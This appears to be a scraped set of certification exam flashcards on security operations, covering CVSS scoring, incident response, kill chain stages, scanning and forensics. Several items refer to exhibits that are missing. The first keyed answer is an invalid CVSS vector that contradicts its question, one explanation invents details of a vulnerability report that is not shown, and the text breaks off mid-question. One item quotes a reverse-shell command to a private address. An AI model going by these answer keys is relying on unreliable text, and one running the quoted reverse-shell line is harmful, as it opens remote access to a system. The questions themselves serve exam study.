examtopics.com Flashcards
A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?
A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L
B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H
A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L
AV = Attack Vector (Network, Adjacent, Local, Physical)
AC = Attack Complexity (Low, High)
PR = Privileges Required (None, Low, High)
UI = User Interaction (None, Required)
S = Scope (Unchanged, Changed)
C = Confidentiality (None, Low, High)
I = Integrity (None, Low, High)
A = Availability (None, Low, High)
Which of the following tools would work best to prevent the exposure of PII outside of an organization?
A. PAM.
B. IDS.
C. PKI.
D. DLP.
D. DLP.
Data loss prevention (DLP) products automate the discovery and classification of data types and enforce rules so that data is not viewed or transferred without a proper authorization.
Data loss prevention (DLP) is a tool that can prevent the exposure of PII outside of an organization by monitoring, detecting, and blocking sensitive data in motion,
in use, or at rest.
An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:
Which of the following tuning recommendations should the security analyst share?
A. Set an HttpOnly flag to force communication by HTTPS
B. Block requests without an X-Frame-Options header
C. Configure an Access-Control-Allow-Origin header to authorized domains
D. Disable the cross-origin resource sharing header
B. Block requests without an X-Frame-Options header
The output shows that the web application is vulnerable to clickjacking attacks, which allow an attacker to overlay a hidden frame on top of a legitimate page and trick users into clicking on malicious links. Blocking requests without an X-Frame-Options header can prevent this attack by instructing the browser to not display the page within a frame.
Which of the following items should be included in a vulnerability scan report? (Choose two.)
A. Lessons learned.
B. Service-level agreement.
C. Playbook.
D. Affected hosts.
E. Risk score.
F. Education plan.
D. Affected hosts.
E. Risk score.
A vulnerability report should detail identified vulnerabilities, such as missing patches, incorrect configuration settings, and weak passwords, and include the following:
- Details regarding the type of vulnerability
- The number of instances
- The affected systems
- The risk levels
- Recommendations
The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization?
A. A mean time to remediate of 30 days.
B. A mean time to detect of 45 days.
C. A mean time to respond of 15 days.
D. Third-party application testing.
A. A mean time to remediate of 30 days.
A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script:
Which of the following scripting languages was used in the script?
A. PowerShell.
B. Ruby.
C. Python.
D. Shell script.
A. PowerShell.
The script uses PowerShell syntax, such as cmdlets, parameters, variables, and comments. PowerShell is a scripting language that can be used to automate tasks and manage systems.
A company’s user accounts have been compromised. Users are also reporting that the company’s internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?
A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access.
B. An on-path attack is being performed by someone with internal access that forces users into port 80.
C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80.
D. An error was caused by BGP due to new rules applied over the company’s internal routers.
B. An on-path attack is being performed by someone with internal access that forces users into port 80.
An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker to compromise the user accounts and access the company’s internal portal.
The fact that the company’s internal portal is sometimes accessible through HTTP (port 80) and other times through HTTPS (port 443) suggests that someone with internal access is actively manipulating the network traffic.
An issue with the SSL certificate (Option A) would generally result in HTTPS not working at all, rather than it being intermittently accessible.
A web server unable to handle an increasing amount of HTTPS requests (Option C) would likely result in performance issues or server errors, but it wouldn’t selectively redirect users to HTTP.
BGP (Border Gateway Protocol) is used for routing between autonomous systems on the internet, and it generally would not cause the internal portal to switch between HTTP and HTTPS. It is more relevant to external internet routing.
A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:
Security Policy 1006: Vulnerability Management
1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.
2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.
3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.
According to the security policy, which of the following vulnerabilities should be the highest priority to patch?
A. Name: THOR.HAMMER -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Internal System
B. Name: CAP.SHIELD -
CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
External System
C. Name: LOKI.DAGGER -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
External System
D. Name: THANOS.GAUNTLET -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Internal System
B. Name: CAP.SHIELD -
CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
External System
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
A. Business continuity plan.
B. Vulnerability management plan.
C. Disaster recovery plan.
D. Asset management plan.
A. Business continuity plan.
Disaster recovery describes the efforts taken to restore infected systems to a safe operating state. By comparison, business continuity describes the work the organization does to keep running, manage the legal ramification of the event, keep staff employed, work with insurance companies, provide internal and external communications regarding the event and its ramifications, investigate the root cause, develop plans to prevent reoccurrence, and much more.
The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?
A. Deploy a CASB and enable policy enforcement.
B. Configure MFA with strict access.
C. Deploy an API gateway.
D. Enable SSO to the cloud applications.
A. Deploy a CASB and enable policy enforcement.
A Cloud Access Security Broker (CASB) is a specialized security solution designed to provide visibility and control over the use of cloud applications and services within an organization. It helps organizations identify and manage shadow IT by monitoring and controlling access to cloud applications.
An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first?
A. CDN.
B. Vulnerability scanner.
C. DNS.
D. Web server.
C. DNS.
DNS Logs: DDoS attacks often involve overwhelming the DNS infrastructure to disrupt normal internet services. By reviewing DNS logs, the incident response team can identify abnormal traffic patterns, unusual queries, and potential signs of a DDoS attack targeting the organization’s DNS servers. Analyzing DNS logs can help pinpoint the attack source, the type of attack, and the affected domains.
A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?
A. Weaponization.
B. Reconnaissance.
C. Delivery.
D. Exploitation.
D. Exploitation.
The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the vulnerabilities they have discovered in previous stages to further infiltrate a target’s network and achieve their objectives. In this case, the malicious actor has gained access to an internal network by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain. Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following steps of an attack framework is the analyst witnessing?
A. Exploitation.
B. Reconnaissance.
C. Command and control.
D. Actions on objectives.
B. Reconnaissance.
An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.)
A. Beaconing.
B. Domain Name System hijacking.
C. Social engineering attack.
D. On-path attack.
E. Obfuscated links.
F. Address Resolution Protocol poisoning.
C. Social engineering attack.
E. Obfuscated links.
During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?
A. Conduct regular red team exercises over the application in production.
B. Ensure that all implemented coding libraries are regularly checked.
C. Use application security scanning as part of the pipeline for the CI/CD flow.
D. Implement proper input validation for any data entry form.
C. Use application security scanning as part of the pipeline for the CI/CD flow.
Continuous Integration/Continuous Deployment (CI/CD) pipelines are an integral part of modern software development practices. By incorporating application security scanning into the CI/CD pipeline, vulnerabilities can be identified and addressed at various stages of development, including during the build and deployment processes.
An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?
A. Proprietary systems.
B. Legacy systems.
C. Unsupported operating systems.
D. Lack of maintenance windows.
A. Proprietary systems.
The security team reviews a web server for XSS and runs the following Nmap scan:
Which of the following most accurately describes the result of the scan?
A. An output of characters > and “ as the parameters used m the attempt.
B. The vulnerable parameter ID http://172.31.15.2/1.php?id-2 and unfiltered characters returned.
C. The vulnerable parameter and unfiltered or encoded characters passed > and “ as unsafe.
D. The vulnerable parameter and characters > and “ with a reflected XSS attempt.
D. The vulnerable parameter and characters > and “ with a reflected XSS attempt.
Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?
A. Develop a call tree to inform impacted users.
B. Schedule a review with all teams to discuss what occurred.
C. Create an executive summary to update company leadership.
D. Review regulatory compliance with public relations for official notification.
B. Schedule a review with all teams to discuss what occurred.
One of the best actions to take after the conclusion of a security incident to improve incident response in the future is to schedule a review with all teams to discuss what occurred, what went well, what went wrong, and what can be improved. This review is also known as a lessons learned session or an after-action report. The purpose of this review is to identify the root causes of the incident, evaluate the effectiveness of the incident response process, document any gaps or weaknesses in the security controls, and recommend corrective actions or preventive measures for future incidents.
A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?
A. Code analysis.
B. Static analysis.
C. Reverse engineering.
D. Fuzzing.
C. Reverse engineering.
Reverse engineering describes deconstructing software and/or hardware to determine how it is crafted. Reverse engineering’s objective is to determine how much information can be extracted from delivered software. For example, reverse engineering can sometimes extract source code, identify software methods and languages used, developer comments, variable names and types, system and web calls, and many other things. An adversary can perform reverse engineering on a software patch to identify the vulnerabilities it is crafted to fix, or an analyst can perform reverse engineering on malware to determine how it operates.
An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?
A. Hard disk.
B. Primary boot partition.
C. Malicious files.
D. Routing table.
E. Static IP address.
D. Routing table.
“Evidence capture prioritizes collection activities based on the order of volatility, initially focusing on highly volatile storage. The ISOC best practice guide to evidence collection and archiving, published as tools.ietf.org/html/rfc3227, sets out the general order as follows:
CPU registers and cache memory (including cache on disk controllers, GPUs, and so on)
Contents of system memory (RAM), including the following:
Routing table, ARP cache, process table, kernel statistics
Temporary file systems/swap space/virtual memory
Data on persistent mass storage devices (HDDs, SSDs, and flash memory devices)—including file system and free space
Remote logging and monitoring data
Physical configuration and network topology
Archival media”
Which of the following security operations tasks are ideal for automation?
A. Suspicious file analysis: Look for suspicious-looking graphics in a folder. Create subfolders in the original folder based on category of graphics found. Move the suspicious graphics to the appropriate subfolder.
B. Firewall IoC block actions: Examine the firewall logs for IoCs from the most recently published zero-day exploit.
Take mitigating actions in the firewall to block the behavior found in the logs. Follow up on any false positives that were caused by the block rules.
C. Security application user errors: Search the error logs for signs of users having trouble with the security application
Look up the user’s phone number - Call the user to help with any questions about using the application.
D. Email header analysis: Check the email header for a phishing confidence metric greater than or equal to five. Add the domain of sender to the block list. Move the email to quarantine.
B. Firewall IoC block actions: Examine the firewall logs for IoCs from the most recently published zero-day exploit.
Take mitigating actions in the firewall to block the behavior found in the logs. Follow up on any false positives that were caused by the block rules.
An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?
A. PCI Security Standards Council.
B. Local law enforcement.
C. Federal law enforcement.
D. Card issuer.
D. Card issuer.
Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?
A. Mean time to detect.
B. Number of exploits by tactic.
C. Alert volume.
D. Quantity of intrusion attempts.
A. Mean time to detect.
A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?
A. The current scanners should be migrated to the cloud.
B. Cloud-specific misconfigurations may not be detected by the current scanners.
C. Existing vulnerability scanners cannot scan IaaS systems.
D. Vulnerability scans on cloud environments should be performed from the cloud.
B. Cloud-specific misconfigurations may not be detected by the current scanners.
Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider’s APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud-specific misconfigurations may not be detected by the current scanners.
A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user’s workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?
A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities.
B. Ensure that the case details do not reflect any user-identifiable information, password protect the evidence and restrict access to personnel related to the investigation.
C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation.
D. Notify the SOC manager for awareness after confirmation that the activity was intentional.
B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation.
Which of the following is the first step that should be performed when establishing a disaster recovery plan?
A. Agree on the goals and objectives of the plan.
B. Determine the site to be used during a disaster.
C. Demonstrate adherence to a standard disaster recovery process.
D. Identify applications to be run during a disaster.
A. Agree on the goals and objectives of the plan.
A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?
A. Testing.
B. Implementation.
C. Validation.
D. Rollback.
C. Validation.
The analyst reviews the following endpoint log entry:
Which of the following has occurred?
A. Registry change.
B. Rename computer.
C. New account introduced.
D. Privilege escalation.
C. New account introduced.
The endpoint log entry shows that a new account named “admin” has been created on a Windows system with a local group membership of “Administrators”. This indicates that a new account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege escalation or backdoor creation, by an attacker who has compromised the system.
A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?
A. Data enrichment.
B. Security control plane.
C. Threat feed combination.
D. Single pane of glass.
D. Single pane of glass.
Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output:
Which of the following choices should the analyst look at first?
A. wh4dc-748gy.lan (192.168.86.152)
B. officerckuplayer.lan (192.168.86.22)
C. imaging.lan (192.168.86.150)
D. xlaptop.lan (192.168.86.249)
E. p4wnp1_aloa.lan (192.168.86.56)
E. p4wnp1_aloa.lan (192.168.86.56)
The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network.
https://github.com/RoganDawes/P4wnP1_aloa
When starting an investigation, which of the following must be done first?
A. Notify law enforcement.
B. Secure the scene.
C. Seize all related evidence.
D. Interview the witnesses.
B. Secure the scene.
The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as any potential evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the investigation.
Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?
A. The lead should review what is documented in the incident response policy or plan.
B. Management level members of the CSIRT should make that decision.
C. The lead has the authority to decide who to communicate with at any t me.
D. Subject matter experts on the team should communicate with others within the specified area of expertise.
A. The lead should review what is documented in the incident response policy or plan.
The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation protocols, and reporting and documentation requirements for handling security incidents. The lead should review what is documented in the incident response policy or plan to determine who should be communicated with and when during a security incident, as well as what information should be shared and how. The incident response policy or plan should also be aligned with the organizational policies and legal obligations regarding incident notification and disclosure.
A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?
A. Firewall logs.
B. Indicators of compromise.
C. Risk assessment.
D. Access control lists.
C. Risk assessment.
An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?
A. Beaconing.
B. Cross-site scripting.
C. Buffer overflow.
D. PHP traversal.
A. Beaconing.
A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?
A. Change the display filter to ftp.active.port.
B. Change the display filter to tcp.port==20.
C. Change the display filter to ftp-data and follow the TCP streams.
D. Navigate to the File menu and select FTP from the Export objects option.
C. Change the display filter to ftp-data and follow the TCP streams.
By changing the display filter to “ftp-data” and then following the TCP streams, the analyst can access and view the entire data transfer, which includes the contents of the downloaded files. This method allows you to reconstruct and view the files being transferred over FTP.
A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?
A. SLA.
B. MOU.
C. NDA.
D. Limitation of liability.
A. SLA.
Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?
A. Command and control.
B. Actions on objectives.
C. Exploitation.
D. Delivery.
A. Command and control.
Command and control (C2) is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 enables the adversary to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels. C2 allows the adversary to maintain persistence, exfiltrate data, execute commands, deliver payloads, or spread to other systems or networks.
A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?
A. External
B. Agent-based
C. Non-credentialed
D. Credentialed
B. Agent-based
Agent-based vulnerability scanning involves deploying scanning agents on the target systems. These agents perform the scanning locally on each system, reducing the need for extensive network traffic because the scanning is distributed. This approach is particularly well-suited for environments with dynamic IP addresses and remote workers because it doesn’t rely on centralized scanning servers or frequent network scans.
A security analyst detects an exploit attempt containing the following command:
sh -i >& /dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?
A. RCE
B. Reverse shell
C. XSS
D. SQL injection
B. Reverse shell
A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user’s system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command:
sh -i >& /dev/udp/10.1.1.1/4821 0>$l
This command is a shell script that creates a reverse shell connection from the target system to the remote user’s system at IP address 10.1.1.1 and port 4821 using UDP protocol.
An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?
A. Scope
B. Weaponization
C. CVSS
D. Asset value
B. Weaponization
Weaponization in the context of vulnerability assessment and the Common Vulnerability Scoring System (CVSS) refers to the development and availability of tools, exploits, or malware that can take advantage of a vulnerability. When a widely available exploit, such as one used to deliver ransomware, becomes accessible to attackers, it significantly increases the severity of the vulnerability. This is because the exploitability of the vulnerability is heightened, leading to a higher CVSS score.
An analyst is reviewing a vulnerability report for a server environment with the following entries:
Which of the following systems should be prioritized for patching first?
A. 10.101.27.98
B. 54.73.225.17
C. 54.74.110.26
D. 54.74.110.228
D. 54.74.110.228
The system that should be prioritized for patching first is 54.74.110.228, as it has the highest number and severity of vulnerabilities among the four systems listed in the vulnerability report. According to the report, this system has 12 vulnerabilities, with 8 critical, 3 high, and 1 medium severity ratings. The critical vulnerabilities include CVE-2019-0708 (BlueKeep), CVE-2019-1182 (DejaBlue), CVE-2017-0144 (EternalBlue), and CVE-2017-0145 (EternalRomance), which are all remote code execution vulnerabilities that can allow an attacker to compromise the system without any user interaction or authentication. These vulnerabilities pose a high
risk to the system and should be patched as soon as possible.
A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?
A. Credentialed network scanning
B. Passive scanning
C. Agent-based scanning
D. Dynamic scanning
C. Agent-based scanning
A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?
A. function x() { info=$(geoiplookup $1) && echo “$1 | $info” }
B. function x() { info=$(ping -c 1 $1 | awk -F “/” ’END{print $5}’) && echo “$1 | $info” }
C. function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F “.in-addr” ’{print $1} ‘).origin.asn.cymru.com TXT +short) && echo “$1 | $info” }
D. function x() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo “$1 | $info” }
D. function x() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo “$1 | $info” }
This shell function uses traceroute to trace the route packets take to reach the destination specified by $1. The -m 40 option specifies a maximum of 40 hops for the trace. The awk ‘END{print $1}’ part extracts the final hop from the traceroute output, and then the function echoes the destination and the info.
There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario?
A. Implement step-up authentication for administrators.
B. Improve employee training and awareness.
C. Increase password complexity standards.
D. Deploy mobile device management.
B. Improve employee training and awareness.
Which of the following is the best way to begin preparation for a report titled “What We Learned” regarding a recent incident involving a cybersecurity breach?
A. Determine the sophistication of the audience that the report is meant for.
B. Include references and sources of information on the first page.
C. Include a table of contents outlining the entire report.
D. Decide on the color scheme that will effectively communicate the metrics.
A. Determine the sophistication of the audience that the report is meant for.
A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers. Which of the following actions would allow the analyst to achieve the objective?
A. Upload the binary to an air gapped sandbox for analysis.
B. Send the binaries to the antivirus vendor.
C. Execute the binaries on an environment with internet connectivity.
D. Query the file hashes using VirusTotal.
A. Upload the binary to an air gapped sandbox for analysis.
Which of the following would help to minimize human engagement and aid in process improvement in security operations?
A. OSSTMM
B. SIEM
C. SOAR
D. OWASP
C. SOAR
SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help streamline, standardize, and automate security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in process improvement in security operations by reducing manual work, human errors, response time, or complexity. SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security operations and incident response teams.
After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request. Which of the following risk management principles did the CISO select?
A. Avoid
B. Transfer
C. Accept
D. Mitigate
A. Avoid
Which of the following is an important aspect that should be included in the lessons-learned step after an incident?
A. Identify any improvements or changes in the incident response plan or procedures.
B. Determine if an internal mistake was made and who did it so they do not repeat the error.
C. Present all legal evidence collected and turn it over to iaw enforcement.
D. Discuss the financial impact of the incident to determine if security controls are well spent.
A. Identify any improvements or changes in the incident response plan or procedures.
This helps in strengthening the organization’s security posture and ensuring a more effective response in the future.
The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results?
A. Single pane of glass
B. Single sign-on
C. Data enrichment
D. Deduplication
A. Single pane of glass
A single pane of glass provides a unified dashboard and workflow for managing multiple feeds, data sources, and tools within one interface. This allows streamlining threat intel from disparate portals into one centralized view for improved efficiency and visibility.
Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?
A. MITRE ATT&CK
B. Cyber Kill Cham
C. OWASP
D. STIX/TAXII
A. MITRE ATT&CK
MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a widely used framework that provides a comprehensive matrix of known Tactics, Techniques, and Procedures (TTPs) used by various adversaries. It allows security analysts to compare and map the TTPs observed in their environment to those associated with known threat actors and groups. By using ATT&CK, analysts can gain insights into which adversaries may be responsible for specific incidents based on their TTPs, aiding in threat intelligence analysis and incident response.
An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?
A. Eradication
B. Recovery
C. Containment
D. Preparation
A. Eradication
Eradication involves the process of identifying and removing the root cause or vulnerability that led to the incident. In this case, the analyst has isolated the vulnerability and is actively removing it from the system. This step is crucial to prevent further exploitation of the same vulnerability and to ensure the incident does not recur.
Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer’s customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend?
A. Isolate Joe’s PC from the network.
B. Reimage the PC based on standard operating procedures.
C. Initiate a remote wipe of Joe’s PC using mobile device management.
D. Perform no action until HR or legal counsel advises on next steps.
D. Perform no action until HR or legal counsel advises on next steps.
Before any technical actions are taken, it is crucial to involve HR and legal counsel to assess the situation, understand the legal implications of Joe’s actions, and determine the appropriate course. This ensures that any response is in compliance with employment laws and company policies.
The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks?
A. Reduce the administrator and privileged access accounts.
B. Employ a network-based IDS.
C. Conduct thorough incident response.
D. Enable SSO to enterprise applications.
A. Reduce the administrator and privileged access accounts.
Zero trust is a security framework that assumes that threats exist both inside and outside the network. It emphasizes the principle of “least privilege,” which means that users and systems should only have the minimum level of access necessary to perform their tasks.
During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?
A. Clone the virtual server for forensic analysis.
B. Log into the affected server and begin analysis of the logs.
C. Restore from the last known-good backup to confirm there was no loss of connectivity.
D. Shut down the affected server immediately.
A. Clone the virtual server for forensic analysis.
Cloning the virtual server allows the analyst to capture a snapshot of the system as it is, including all current data, configurations, and state. This cloned version can be analyzed in detail without affecting the integrity of the original server, which is crucial for any potential legal proceedings and for understanding the scope and details of the attack.
A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation?
A. C2 beaconing activity.
B. Data exfiltration.
C. Anomalous activity on unexpected ports.
D. Network host IP address scanning.
E. A rogue network device.
A. C2 beaconing activity.
The most likely explanation for this traffic pattern is C2 beaconing activity. C2 stands for command and control, which is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 beaconing activity is a type of network traffic that indicates a compromised system is sending periodic messages or signals to an attacker’s system using various protocols, such as HTTP(S), DNS, ICMP, or UDP. C2 beaconing activity can enable the attacker to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels.
New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?
A. Human resources must email a copy of a user agreement to all new employees.
B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement.
C. All new employees must take a test about the company security policy during the onboardmg process.
D. All new employees must sign a user agreement to acknowledge the company security policy.
D. All new employees must sign a user agreement to acknowledge the company security policy.
Requiring new employees to sign a user agreement is a common and effective practice in organizations. It ensures that employees have acknowledged and agreed to adhere to the company’s security policies, including the prohibition of personal devices.
An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign?
A. Information sharing organization.
B. Blogs/forums.
C. Cybersecurity incident response team.
D. Deep/dark web.
A. Information sharing organization.
Information Sharing and Analysis Centers (ISACs) or other similar organizations are dedicated to sharing information about threats and vulnerabilities in specific sectors, including critical infrastructure and defense. Given the company’s role in the supply chain for a fighter jet, it would likely be a part of an industry-specific ISAC focused on defense or critical infrastructure. These organizations often have access to high-quality, vetted intelligence, including classified or sensitive information that may not be available through other channels. They also enable timely and relevant information sharing among members.
An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned?
A. To satisfy regulatory requirements for incident reporting.
B. To hold other departments accountable.
C. To identify areas of improvement in the incident response process.
D. To highlight the notable practices of the organization’s incident response team.
C. To identify areas of improvement in the incident response process.
Lessons learned are a critical component of the incident response process. They serve the purpose of reflecting on what went well and what could have been done better during the incident response.
A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the most urgent vulnerabilities:
Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority. Which of the following vulnerabilities should be patched first, given the above third-party scoring system?
A. InLoud:
Cobain: Yes -
Grohl: No -
Novo: Yes -
Smear: Yes -
Channing: No
B. TSpirit:
Cobain: Yes -
Grohl: Yes -
Novo: Yes -
Smear: No -
Channing: No
C. ENameless:
Cobain: Yes -
Grohl: No -
Novo: Yes -
Smear: No -
Channing: No
D. PBleach:
Cobain: Yes -
Grohl: No -
Novo: No -
Smear: No -
Channing: Yes
B. TSpirit:
Cobain: Yes -
Grohl: Yes -
Novo: Yes -
Smear: No -
Channing: No
A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?
A. Hacktivist.
